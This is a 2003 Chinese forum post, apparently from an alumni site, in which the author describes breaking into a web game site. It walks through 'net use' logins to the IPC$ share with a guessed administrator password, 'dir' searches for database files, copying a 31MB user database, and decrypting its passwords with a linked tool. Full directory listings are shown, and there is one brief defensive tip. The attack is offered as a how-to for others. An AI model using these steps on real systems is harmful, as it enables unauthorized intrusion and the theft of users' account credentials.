中国校友会网  中国校友网
 		注册 登录 
排行 论坛 
 
           心情日记 | 原创作品 | 珍藏佳作 | 校园文学 | 联合征文 | 文集推荐 | 作品精选 | 我的作品 | 原创论坛
dos 入侵
作品类别：原创作品  作者：射天狼  发表时间：2003-05-08 19:01:49.0  
最近网上流行江湖，玩江湖的朋友都会找一些工具或者漏洞来提升自己的等级。有些网友也会到我的论坛发表疑问，可我是菜鸟级人物，要深入探讨江湖漏洞还为时尚早，昨天我用IPC进入一个江湖网站后把他的数据库下载了，从中得到一些心得，不敢独享，拿出来让您见笑了：）
好，废话少说，开始讲讲我的下载过程。
首先我用小榕的流光扫描这个江湖网站，得到了一个IPC的ADMIN组的用户名和密码。
假设这个网站IP为192.168.100.1 用户为administrator 密码为123
用net命令进入
net use \\192.168.100.1\ipc$ “123” /user:administrator
提示命令成功完成
dir \\192.168.100.1\c$
进入他的C盘
一般网站存放的默认路径都会在inetpub\wwwroot目录下，但很多网站都不是如此，这样我们就要查找他的存放目录了！
可以用 dir \\192.168.100.1\c$\文件名 /s 来查找，文件名可以在网站上任意一个文件，如图片来查找，可以用鼠标右击选择属性来得到图片的文件名：）因为我们要查后缀名为.mdb的数据库文件，所以也可以用dir \\192.168.100.1\c$\*.mdb /a/s 来查找。
呵呵，这个网站的文件备份工作还是做的不错的，害我查了半天，最后得到他的江湖文件在d$\ftp\koing\xajh里。
C:\＞dir \\192.168.100.1\d$\ftp\koing\xajh\
驱动器 \\192.168.100.1\d$ 中的卷没有标签。
卷的序列号是 D03E-DD81
\\192.168.100.1\d$\ftp\koing\xajh 的目录
2001-11-05 21:27 ＜DIR＞ .
2001-11-05 21:27 ＜DIR＞ ..
2001-06-28 01:57 15,193 1.mid
2001-04-22 17:11 43,389 122.mid
2001-10-24 07:28 ＜DIR＞ adminbz
2001-07-10 22:27 518,566 adminbz.rar
2001-06-25 19:41 68,851 an.txt
2001-06-27 04:46 3,405 ao.asp
2001-11-29 00:01 ＜DIR＞ bao
2001-07-10 22:30 13,704 bao.rar
2001-10-24 07:28 ＜DIR＞ bet
2001-06-07 22:18 2,467 bombsee.asp
2001-10-24 07:28 ＜DIR＞ cao12387
2001-10-24 07:28 ＜DIR＞ chat
2001-10-05 00:02 9,663 check.asp
2001-10-01 08:52 200 chszsj43.chh
2001-06-07 22:24 1,921 close.asp
2001-06-07 22:24 4,736 closeme.asp
2001-06-08 21:57 327 conn.asp
2001-06-08 21:57 615 conn1.asp
2001-12-09 10:12 ＜DIR＞ cp
2001-10-24 07:28 ＜DIR＞ css
2001-06-06 10:49 926 css.css
2001-06-07 22:18 2,539 daibuse2e.asp
2001-06-07 22:19 1,935 dajiasee.asp
2001-12-09 10:52 ＜DIR＞ data
2001-06-08 21:57 378 data.asp
2001-06-07 22:19 328 data1.asp
2001-06-07 22:19 4,020 data2.asp
2001-10-24 07:27 ＜DIR＞ dati
2001-11-05 21:41 ＜DIR＞ dc
2001-10-11 07:38 10,355 default.asp
2001-06-28 21:02 8,010 default000.asp
2001-06-27 03:21 7,176 default00000.asp
2001-10-01 14:11 4,434 default328.asp
2001-08-05 07:28 4,427 defaultold.asp
2001-10-24 07:27 ＜DIR＞ dg
2001-06-07 22:19 1,919 disp.asp
2001-06-30 04:34 16,093 error.asp
2001-09-17 21:27 2,495 exit.asp
2001-06-07 22:19 509 fun.inc
2001-10-06 15:27 50,904 func.asp
2003-09-15 01:06 27,997 g.gif
2001-06-13 20:11 7,195 Global.asa
2001-06-07 22:19 2,608 guanfu.htm
2001-11-19 23:48 ＜DIR＞ guanli
2001-06-07 22:19 2,550 guanlisee.asp
2001-12-09 10:19 ＜DIR＞ gupiao
2001-10-24 07:27 ＜DIR＞ hcjs
2001-12-09 10:44 ＜DIR＞ hunyin
2001-10-24 07:27 ＜DIR＞ imagejh
2001-10-24 07:27 ＜DIR＞ images
2001-10-24 07:27 ＜DIR＞ img
2001-07-05 21:09 13,960 java.txt
2001-10-24 07:27 ＜DIR＞ jh
2001-12-07 00:08 24,805 jh.asp
2001-06-07 22:19 247 jh.css
2001-06-28 21:02 27,325 jh0.asp
2001-06-28 21:02 27,325 jh10.asp
2001-07-05 21:03 10,211 jh2.asp
2001-06-07 22:19 3,348 jhb.mid
2001-11-19 23:11 ＜DIR＞ jhmp
2001-06-07 22:19 2,545 jianjinsee.asp
2001-12-09 10:39 ＜DIR＞ jiaoyou
2001-06-07 22:20 2,446 jinggaosee.asp
2003-09-14 18:48 2,109 joe.js
2001-06-07 22:20 4,240 joinchat.asp
2001-06-07 22:20 2,263 ku.asp
2001-10-24 07:27 ＜DIR＞ laiya
2001-06-07 22:20 257 login.asp
2001-11-07 13:16 ＜DIR＞ lsm
2001-10-24 07:27 ＜DIR＞ midi
2001-10-24 07:27 ＜DIR＞ myhome
2001-06-07 22:20 0 new.css
2001-06-07 22:20 530 NEW2.CSS
2001-06-07 22:20 3,394 ok.asp
2001-10-24 07:27 ＜DIR＞ ok1ok
2001-06-07 22:20 510 online.asp
2001-12-09 10:49 ＜DIR＞ quest
2001-06-07 22:20 1,612 readme.htm
2003-09-14 19:09 805 s.css
2001-06-08 21:57 3,764 set.asp
2001-06-07 22:20 623 setup.css
2001-06-07 22:20 2,509 setwg3.asp
2001-06-07 22:20 322 showimg.asp
2001-07-09 14:30 0 showuser.asp
2001-10-24 07:27 ＜DIR＞ street
2001-06-07 22:20 464 style.css
2001-06-07 22:20 515 style1.css
2001-12-09 06:36 ＜DIR＞ sy
2003-09-15 01:19 31,744 t.fla
2003-09-15 01:09 9,150 t.swf
2001-06-28 01:55 12,485 tiandadd.mid
2001-10-24 07:27 ＜DIR＞ top
2001-07-05 20:28 4,165 txt.asp
2001-07-09 14:50 2,190 txt.gif
2001-12-07 00:11 1,770 whatnew.asp
2001-10-24 07:27 ＜DIR＞ work
2001-06-07 22:24 12,670 xajh.gif
2001-06-07 22:20 2,024 xg.asp
2001-10-24 07:27 ＜DIR＞ yamen
2001-10-24 07:27 ＜DIR＞ zjj
2001-06-07 22:20 2,354 zuolaosee.asp
68 个文件 1,054,516 字节
35 个目录 2,743,296,000 可用字节
数据库文件在哪呢？呵呵，虽然我不懂英语，但data这单词还是懂的：）
C:\＞dir \\192.168.100.1\d$\ftp\koing\xajh\data
驱动器 \\192.168.100.1\d$ 中的卷没有标签。
卷的序列号是 D03E-DD81

\\192.168.100.1\d$\ftp\koing\xajh\data 的目录

2001-12-09 10:52 ＜DIR＞ .
2001-12-09 10:52 ＜DIR＞ ..
2001-07-09 18:31 0 dag364.TMP
2001-07-09 18:30 0 dagF2C4.TMP
2001-12-09 10:51 167,936 jilu.mdb
2001-12-09 03:46 397,312 kill.asa
2001-12-09 10:52 31,461,376 user.asa
2001-12-09 10:52 0 user.ldb
2001-08-09 18:34 990,176 用户
7 个文件 33,016,800 字节
2 个目录 2,743,296,000 可用字节
江湖数据库的一般都是以Access形式保存的，后缀名为.mdb，是可以下载的。现在的一些ASP制作的论坛也是如此，只要我们知道数据库的绝对路径我们都可以下载到硬盘，然后查看超级管理员的帐号和密码，不如动网论坛的数据库默认存放路径是bbs/dv3sr2.mdb 很多网站都没有修改，笔者也曾经成功下载了几次动网的数据库：）在此我建议大家直接把数据库的后缀名改成.asp这样也照常浏览，却不能下载了~！
好，现在我们看看文件有jilu.mdb、kill.asa、user.asa 这三个文件，我首先下载jilu.mdb文件，在IE地址栏输入192.168.100.1/xajh/jilu.mdb 呵，成功下载回来，打开文件（首先必须安全OFFICE 2000里的Microsoft Access）哎呀，竟然不是，再看看user.asa 呵呵，这不是用户文件吗？容量很大，刚好符合！试试能不能下载输入 192.168.100.1/user.asa 昏，系统提示出现500错误！
怎么办？我不知怎么就认定这个文件一定就是（虽然我并不知道.asa文件是做什么的）
网友提点我可以把文件影射到本地来啊。
命令是:net use x: \\192.168.100.1\d$
这下他的D盘就变你的X盘了。
也可以用copy \\192.168.100.1\d$\ftp\koing\xajh\data\user.asa c:
这样就直接把文件COPY到你的C盘了：）
而笔者是用网上邻居的方法进入的
点击网上邻居--＞添加网上邻居，在请键入网上邻居位置上打上网址：\\192.168.100.1\d$\ftp\koing\xajh\data\ 点完成。
呵呵，看见文件了，把他复制到本地硬盘来就行了！
好久，30M呢，还好是小江湖，我可是“猫网”，555~~~
下载后把他的后缀名改成.mdb，打开，呵呵，出来了！
看，全部注册信息--昏~~~怎么密码全象是乱码？？好象是加密了？5555~~~我下载了那么久啊！！想想好象前不久看见有个叫ASP江湖密码解密机的！下载后把数据库里的密码复制了如果放在“加密后的密码”选项里，点“解密”呵呵，真密码出来啦~~
ASP江湖密码解密机在本站有下载
地址：http://www.my87135.com/freehome/zyym/down/download.asp?Did=1839
文件大小：10K （好小）
好了，文章到此结束。
中国校友会(www.cuaa.net) 



历史回顾：
 2008年
· 2008年1月2日，中国校友会网大学评价课题组正式发布《2008中国大学评价研究报告》，这是中国校友会网、《大学》杂志和21世纪人才报连续第6年发布中国大学排行榜。北京大学超越清华大学荣登“2008中国大学排行榜”榜首，清华大学下降至第2名；复旦大学和浙江大学仍列第3和第4名；与2007年相同，南京大学列第5名，上海交通大学列第6名，武汉大学列第7名；吉林大学上升至第8名，中国人民大学和四川大学进入前十名，分列第9和第10名，其中四川大学是首次进入前十强。同时发布：高校国家重大自然科学奖排行榜、高校Nature&Science论文排行榜、高校国家重大技术发明奖排行榜、高校国家重大科技进步奖排行榜 高校中国专利奖金奖排行榜、高校社会科学贡献力排行榜、2007中国高校杰出社会科学家校友榜、2008中国最受媒体关注大学排行榜 ；编制单位：中国校友会网、《大学》杂志、21世纪人才报；编写：中国校友会网大学评价课题组；执笔：赵德国、蔡言厚、冯用军、王凌峰和刘明等
 2007年
·2007年8月： 2007年12月24日，“中国校友会网大学评价课题组”发布《2007中国杰出社会科学家研究报告》正式揭晓，报告公布了“2007(首届)中国杰出社会科学家”入选名单，来自全国高校和科研院所的505名学者入选。报告公布的入选学者工作单位、研究领域和毕业院校等统计结果显示，中国社会科学院入选“杰出社会科学家”的学者人数最多，位居全国首位；北京大学教师和校友入选“杰出社会科学家”的人数最多位居全国高校首位，中国人民大学和复旦大学紧随其后，位居高校第二和第三名；法学学科“杰出社会科学家”人数最多，教育学学科最少。 ；编制单位：中国校友会网、《大学》杂志、21世纪人才报；编写：中国校友会网大学评价课题组；执笔：赵德国、蔡言厚、冯用军、王凌峰和刘明等
·2007年8月： 2007年8月6日，我国首个针对高考状元职业状况的调查报告--《中国高考状元职业状况调查报告》出炉，报告由“中国校友会网大学评价课题组”历时6个月时间通过对1977-1998年我国各省市自治区高考状元的职业状况的调查与研究得出的。调查显示，高考状元大学期间学习能力突出，考研深造和出国留学成为毕业首选；高考状元职业发展并不理想，职业成就平平远低社会预期；状元仅是“考场状元”，尚未成为“职场状元”。 ；编制单位：中国校友会网、《大学》杂志、21世纪人才报；编写：中国校友会网大学评价课题组；执笔：赵德国、蔡言厚、冯用军、王凌峰和刘明等
·2007年5月：发布《2007中国民办高校评价研究报告》，发布2007中国最受媒体关注民办大学排行榜，中国最受媒体关注独立学院排行榜，中国独立学院学费排行榜，中国民办大学学费排行榜，2007中国民办高校评价研究报告，同时 推出2007中国独立学院排行榜和2007中国民办大学排行榜 (中国民办高校排行榜),其中江西蓝天学院位居2007中国民办大学排行榜榜首，西安外事学院和湖南涉外经济学院分列第二和第三；华中科技大学武昌分校、浙江大学城市学院和浙江大学宁波理工学院名列2007中国独立学院排行榜前三名；编制单位：中国校友会网、《大学》杂志、21世纪人才报；编写：中国校友会网大学评价课题组；执笔：赵德国、蔡言厚、王留拴、冯用军、王凌峰、黄天彦、黄新勇和刘明等
·2007年5月：发布《1999-2006中国高考状元调查报告》，发布中国最受高考状元青睐大学排行榜、中国最受高考状元青睐专业排行榜、中国最受高考状元青睐院系排行榜、中国中学高考状元排行榜,将推出2007中国民办高校评价研究报告，同时将推出2007中国独立学院排行榜和2007中国民办大学排行榜(中国民办高校排行榜)；编制单位：中国校友会网、《大学》杂志和21世纪人才报；编写：中国校友会网大学评价课题组；执笔：赵德国、蔡言厚、冯用军、黄天彦和刘明等
·2007年1月04日：发布2007中国大学排行榜、2007中国高校科学贡献力排行榜、2007中国高校杰出校友榜和2007中国最受媒体关注大学排行榜,并公布《2007中国大学评价研究报告》,同时开展中国杰出社会科学家遴选工作,将推出2007中国民办高校评价研究报告，同时将推出2007中国独立学院排行榜和2007中国民办大学排行榜(中国民办高校排行榜)；编制单位：中国校友会网、《大学》杂志和21世纪人才报；编写：中国校友会网大学评价课题组；执笔：赵德国、蔡言厚、冯用军和刘明等
 2006年
·2006年6月27日：发布2006中国独立学院排行榜；编制单位：中国校友会网、21世纪人才报·大学周刊；编写：中国校友会网大学评价委员会；
·2006年5月19日：发布2006中国民办大学排行榜，并公布《2006中国民办大学评价报告》；编制单位：中国校友会网、21世纪人才报·大学周刊；编写：中国校友会网大学评价委员会；执笔：赵德国、王留栓、冯用军和刘明等
·2006年1月05日：发布2006中国大学排行榜和中国高校杰出校友榜，并公布《中国高校杰出人才培养状况调查报告》；编制单位：中国校友会网、21世纪人才报·大学周刊；编写：中国校友会网大学评价委员会；执笔：赵德国、蔡言厚、冯用军和刘明等
 2005年
·2005年6月10日：发布2005中国民办大学排行榜；编制单位：中国校友会网、21世纪人才报·大学周刊
·2005年4月：发布2005中国高校富豪校友榜和中国高校院士校友榜；
·2005年3月29日：发布2005中国大学排行榜；编制单位：中国校友会网、21世纪人才报·大学周刊、TOM教育
 2004年
·2004年4月10日：发布2004中国大学排行榜；编制单位：中国校友会网
 2003年
·2003年10月：发布2003中国大学排行榜；编制单位：中国校友会网
 2003年
·2003年10月：发布2003中国大学排行榜；编制单位：中国校友会网
 2001年
·2001年11月：中国校友会网正式上线运行！
合作媒体：  新浪教育  腾讯教育  ;搜狐教育  网易教育  博客网  中华网  TOM教育  慧聪教育  北方网  课堂内外社  超级考生网
           《21世纪人才报》  《大学》杂志  《中国民营经济周刊》  新课堂网   搜学网   新浪博客   历年大学排行榜   更多...
推荐网站：  天涯社区  中国校庆网  爱国者俱乐部  敬业人才网   宁波交友网   中国同乡会   商务基地网   自助游社区  更多...